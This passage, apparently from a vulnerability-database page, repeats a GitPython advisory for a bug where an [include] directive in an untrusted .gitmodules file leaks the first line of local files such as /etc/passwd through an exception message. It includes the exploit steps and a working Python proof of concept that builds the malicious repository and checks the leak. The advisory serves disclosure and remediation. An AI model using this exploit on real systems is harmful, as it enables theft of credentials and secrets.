`[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-nbdime-CVE-2026-78675",
"modified": "2026-09-17T19:30:00Z",
"published": "2026-09-04T09:36:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-OPENTIMESTAMPS-CLIE… (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 09:43 – Updated: 2026-09-17 18:03 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.61",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "opentimestamps-client",
"purl": "pkg:brew/opentimestamps-client"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.2"
},
{
"fixed": "0.7.2_7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.61",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.61"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source 